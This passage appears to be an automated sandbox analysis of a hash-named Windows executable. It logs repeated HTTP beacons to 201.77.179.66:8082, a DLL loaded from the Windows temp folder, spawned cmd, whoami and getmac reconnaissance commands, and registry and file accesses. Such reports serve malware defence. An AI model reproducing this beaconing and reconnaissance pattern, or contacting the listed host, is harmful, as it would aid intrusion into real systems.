HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:08 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:09 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:11 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:12 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:13 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:15 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:16 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:17 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:19 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:20 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:22 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:23 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:24 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:26 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:27 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:28 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:30 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:31 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A.......31:T1611,"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base e5300000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base e5300000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base e5300000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "KERNEL32" at base e68c0000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base c5fd0000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "API-MS-WIN-CORE-FILE-L1-2-1.DLL" at base e5300000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "DBGHELP.DLL" at base dcf90000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "KERNEL32.DLL" at base e68c0000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "LIBSSL32.DLL" at base 0 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "LIBSSL-1_1" at base c6b90000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "LIBEAY32.DLL" at base 0 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "LIBCRYPTO-1_1" at base c3180000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base e4590000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base e3790000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base e5190000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base e4980000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base c7260000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "RPCRT4.DLL" at base e7f70000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base c6a00000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base e1cf0000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base d1810000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base dd6e0000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base dec20000 "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" loaded module "NTDLL.DLL" at base e8e00000 "cmd.exe" loaded module "KERNEL32" at base e68c0000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base e5300000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base e5300000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base e5300000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base e8110000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base e5300000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base e5300000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base e5300000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base c5fd0000 "cmd.exe" loaded module "KERNEL32.DLL" at base e68c0000 "cmd.exe" loaded module "NTDLL.DLL" at base e8e00000 "whoami.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base e5300000 "whoami.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base e5300000 "whoami.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base e5300000 "whoami.exe" loaded module "KERNEL32" at base e68c0000 "whoami.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base c5fd0000 "whoami.exe" loaded module "KERNEL32.DLL" at base e68c0000 "whoami.exe" loaded module "RPCRT4.DLL" at base e7f70000 "getmac.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base e5300000 "getmac.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base e5300000 "getmac.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base e5300000 "getmac.exe" loaded module "KERNEL32" at base e68c0000 "getmac.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base c5fd0000 "getmac.exe" loaded module "KERNEL32.DLL" at base e68c0000 "getmac.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base e3790000 "getmac.exe" loaded module "RPCRT4.DLL" at base e7f70000 "getmac.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base e5300000 "getmac.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base da3c0000 "getmac.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base da1f0000 "getmac.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base e5300000 "getmac.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base e5300000 "getmac.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base d9200000 "getmac.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base e5300000 "getmac.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base e5300000 "getmac.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base e530000032:T43d,"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "whoami.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "whoami.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "getmac.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "getmac.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "getmac.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "getmac.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN")33:T91e,"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "")34:T1005,"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "9A48357C06758217B3A99CDF4AB83263C04BDEA98C347DD14B254CAB6C81B13A"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "")35:T913,"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\win32u.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\ucrtbase.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\msvcp_win.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\gdi32full.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\gdi32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\user32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\rpcrt4.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\ws2_32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\msvcrt.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\sechost.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\advapi32.dll" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to touch file "C:\Windows\System32\imm32.dll"36:Tc23,"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe" trying to access non-existent file 